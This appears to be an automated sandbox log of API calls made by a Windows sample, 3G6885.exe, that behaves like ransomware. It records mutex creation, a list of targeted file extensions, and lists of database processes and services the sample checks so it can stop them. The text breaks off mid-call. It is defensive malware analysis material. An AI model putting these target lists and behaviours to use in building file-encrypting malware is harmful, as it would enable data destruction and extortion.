# Flog Txt Version 1 # Analyzer Version: 3.1.1 # Analyzer Build Date: Oct 15 2019 14:44:06 # Log Creation Date: 24.10.2019 20:22:20.413 Process: id = "1" image_name = "3g6885.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3g6885.exe" page_root = "0x4dcc6000" os_pid = "0x99c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3G6885.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x9a0 [0028.035] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0028.040] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0028.040] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0028.040] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0028.040] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0028.040] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameA") returned 0x76c4b6e0 [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexW") returned 0x76c3424c [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0028.041] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0028.042] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0028.042] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0028.042] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0028.042] GetProcAddress (hModule=0x76c20000, lpProcName="OpenMutexW") returned 0x76c35151 [0028.042] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0028.042] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForMultipleObjects") returned 0x76c34220 [0028.042] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiW") returned 0x76c4d5cd [0028.042] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiA") returned 0x76c33e8e [0028.042] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0028.042] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseMutex") returned 0x76c3111e [0028.042] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0028.042] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0028.042] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0028.042] GetProcAddress (hModule=0x76c20000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c34173 [0028.042] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0028.042] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceFrequency") returned 0x76c341f0 [0028.042] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileAttributesW") returned 0x76c4d4f7 [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="GetVolumeInformationW") returned 0x76c4c860 [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="CreatePipe") returned 0x76cb415b [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="SetHandleInformation") returned 0x76c4195c [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringA") returned 0x76c33c5a [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTime") returned 0x76c35a96 [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="SystemTimeToFileTime") returned 0x76c35a7e [0028.043] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0028.044] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0028.044] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0028.044] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0028.044] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0030.532] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0030.532] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0030.533] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0030.533] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0030.533] GetProcAddress (hModule=0x74d40000, lpProcName="OpenProcessToken") returned 0x74d54304 [0030.533] GetProcAddress (hModule=0x74d40000, lpProcName="GetTokenInformation") returned 0x74d5431c [0030.533] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0030.533] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0030.533] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0030.533] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0030.533] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0030.533] GetProcAddress (hModule=0x74d40000, lpProcName="EnumDependentServicesW") returned 0x74d41e3a [0030.533] GetProcAddress (hModule=0x74d40000, lpProcName="EnumServicesStatusExW") returned 0x74d4b466 [0030.533] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0032.832] GetProcAddress (hModule=0x74f40000, lpProcName="SystemParametersInfoW") returned 0x74f590d3 [0032.832] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0035.722] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0035.722] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77130000 [0035.723] GetProcAddress (hModule=0x77130000, lpProcName="NtQuerySystemInformation") returned 0x7714fda0 [0035.723] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74b50000 [0035.889] GetProcAddress (hModule=0x74b50000, lpProcName="WNetCloseEnum") returned 0x74b52dd6 [0035.889] GetProcAddress (hModule=0x74b50000, lpProcName="WNetOpenEnumW") returned 0x74b52f06 [0035.889] GetProcAddress (hModule=0x74b50000, lpProcName="WNetEnumResourceW") returned 0x74b53058 [0035.889] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75bc0000 [0036.255] GetProcAddress (hModule=0x75bc0000, lpProcName="WSAStartup") returned 0x75bc3ab2 [0036.255] GetProcAddress (hModule=0x75bc0000, lpProcName="socket") returned 0x75bc3eb8 [0036.255] GetProcAddress (hModule=0x75bc0000, lpProcName="send") returned 0x75bc6f01 [0036.255] GetProcAddress (hModule=0x75bc0000, lpProcName="recv") returned 0x75bc6b0e [0036.255] GetProcAddress (hModule=0x75bc0000, lpProcName="connect") returned 0x75bc6bdd [0036.255] GetProcAddress (hModule=0x75bc0000, lpProcName="closesocket") returned 0x75bc3918 [0036.255] GetProcAddress (hModule=0x75bc0000, lpProcName="gethostbyname") returned 0x75bd7673 [0036.255] GetProcAddress (hModule=0x75bc0000, lpProcName="inet_addr") returned 0x75bc311b [0036.256] GetProcAddress (hModule=0x75bc0000, lpProcName="ntohl") returned 0x75bc2d57 [0036.256] GetProcAddress (hModule=0x75bc0000, lpProcName="htonl") returned 0x75bc2d57 [0036.256] GetProcAddress (hModule=0x75bc0000, lpProcName="htons") returned 0x75bc2d8b [0036.256] GetProcessHeap () returned 0x5a0000 [0036.256] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5b40c8 [0036.256] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=15629505065) returned 1 [0036.256] GetTickCount () returned 0x1142b26 [0036.256] GetCurrentProcessId () returned 0x99c [0036.257] GetTickCount () returned 0x1142b26 [0036.257] GetTickCount () returned 0x1142b26 [0036.257] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5b40f0 [0036.257] GetVersion () returned 0x1db10106 [0036.257] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x7) returned 0x5a36b0 [0036.257] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5b0bd0 [0036.257] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b0bd0, Size=0x20) returned 0x5b4140 [0036.257] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4140, Size=0x40) returned 0x5b46b0 [0036.257] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5b4900 [0036.258] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_3G6885A") returned 0x0 [0036.258] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_3G6885A") returned 0x84 [0036.258] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5a36b0 | out: hHeap=0x5a0000) returned 1 [0036.258] lstrlenW (lpString="Global\\syncronize_") returned 18 [0036.258] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b46b0 | out: hHeap=0x5a0000) returned 1 [0036.258] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x7) returned 0x5a36b0 [0036.258] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5b0bd0 [0036.258] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b0bd0, Size=0x20) returned 0x5b4140 [0036.258] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4140, Size=0x40) returned 0x5b46b0 [0036.258] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5c4908 [0036.259] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_3G6885U") returned 0x0 [0036.259] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_3G6885U") returned 0x88 [0036.259] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5a36b0 | out: hHeap=0x5a0000) returned 1 [0036.259] lstrlenW (lpString="Global\\syncronize_") returned 18 [0036.259] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b46b0 | out: hHeap=0x5a0000) returned 1 [0036.259] GetVersion () returned 0x1db10106 [0036.259] GetCurrentProcess () returned 0xffffffff [0036.259] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0036.259] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0036.259] CloseHandle (hObject=0x8c) returned 1 [0036.259] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0036.259] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0036.259] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5a36b0 [0036.259] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5b0bd0 [0036.259] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b0bd0, Size=0x20) returned 0x5b4140 [0036.259] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4140, Size=0x40) returned 0x5b46b0 [0036.259] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b46b0, Size=0x80) returned 0x5b46b0 [0036.259] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b46b0, Size=0x100) returned 0x5b46b0 [0036.259] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x34) returned 0x5b47b8 [0036.259] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b07c0 [0036.259] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b07d0 [0036.259] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b07e0 [0036.259] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5b0bd0 [0036.259] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b47f8 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5b0be8 [0036.260] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b47f8, Size=0x8) returned 0x5b47f8 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5b0c00 [0036.260] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b47f8, Size=0x10) returned 0x5b47f8 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5b0c18 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5b0c30 [0036.260] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b47f8, Size=0x20) returned 0x5b47f8 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5b0c48 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5b0c60 [0036.260] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b07c0, Size=0x8) returned 0x5b07c0 [0036.260] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b07d0, Size=0x8) returned 0x5b07d0 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b4820 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5b0c78 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b4830 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5b0c90 [0036.260] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4830, Size=0x8) returned 0x5b4830 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d4928 [0036.260] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4830, Size=0x10) returned 0x5b4830 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d4940 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b4848 [0036.260] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4830, Size=0x20) returned 0x5b4858 [0036.260] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b07c0, Size=0x10) returned 0x5b4830 [0036.260] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b07d0, Size=0x10) returned 0x5b4880 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b07c0 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d4958 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b07d0 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d4970 [0036.260] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b07d0, Size=0x8) returned 0x5b07d0 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b4898 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d4988 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b48a8 [0036.260] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d49a0 [0036.260] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b48a8, Size=0x8) returned 0x5b48a8 [0036.260] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4830, Size=0x20) returned 0x5d4d10 [0036.260] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4880, Size=0x20) returned 0x5d4d38 [0036.261] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b4880 [0036.261] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d49b8 [0036.261] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b4830 [0036.261] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d49d0 [0036.261] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4830, Size=0x8) returned 0x5b4830 [0036.261] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5d4d60 [0036.261] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5d4d80 [0036.261] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0036.261] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b46b0 | out: hHeap=0x5a0000) returned 1 [0036.261] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d49e8 [0036.274] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d49e8, Size=0x20) returned 0x5b4348 [0036.274] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4348, Size=0x40) returned 0x5b4708 [0036.274] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4708, Size=0x80) returned 0x5b4708 [0036.274] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4708, Size=0x100) returned 0x5d5058 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d49e8 [0036.274] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d49e8, Size=0x20) returned 0x5b4348 [0036.274] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4348, Size=0x40) returned 0x5b4708 [0036.274] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4708, Size=0x80) returned 0x5b4708 [0036.274] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4708, Size=0x100) returned 0x5d5160 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d49e8 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b4708 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d4a00 [0036.274] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4708, Size=0x8) returned 0x5b4708 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5b4718 [0036.274] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4708, Size=0x10) returned 0x5b4738 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x18) returned 0x5b4750 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1a) returned 0x5b4348 [0036.274] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4738, Size=0x20) returned 0x5b4770 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1c) returned 0x5b4370 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x16) returned 0x5b4798 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1a) returned 0x5b4398 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d4a18 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b4708 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40) returned 0x5d5268 [0036.274] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4708, Size=0x8) returned 0x5b4708 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x3c) returned 0x5d52b0 [0036.274] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4708, Size=0x10) returned 0x5b4738 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5d52f8 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x18) returned 0x5d5318 [0036.274] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4738, Size=0x20) returned 0x5d5338 [0036.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x24) returned 0x5d5360 [0036.274] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0036.275] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d5058 | out: hHeap=0x5a0000) returned 1 [0036.275] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0036.275] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d5160 | out: hHeap=0x5a0000) returned 1 [0036.275] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5d58e0 [0036.280] EnumServicesStatusExW (in: hSCManager=0x5d58e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0036.319] GetLastError () returned 0xea [0036.319] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x11e4) returned 0x5d91e0 [0036.319] EnumServicesStatusExW (in: hSCManager=0x5d58e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5d91e0, cbBufSize=0x11e4, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5d91e0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0036.324] CloseServiceHandle (hSCObject=0x5d58e0) returned 1 [0036.328] lstrlenW (lpString="Appinfo") returned 7 [0036.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0036.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0036.328] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0036.328] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0036.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0036.328] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0036.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.328] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0036.328] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0036.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0036.328] lstrlenW (lpString="AudioSrv") returned 8 [0036.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0036.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0036.328] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0036.328] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0036.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0036.329] lstrlenW (lpString="BFE") returned 3 [0036.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0036.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0036.329] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0036.329] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0036.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0036.329] lstrlenW (lpString="CryptSvc") returned 8 [0036.329] lstrcmpiW 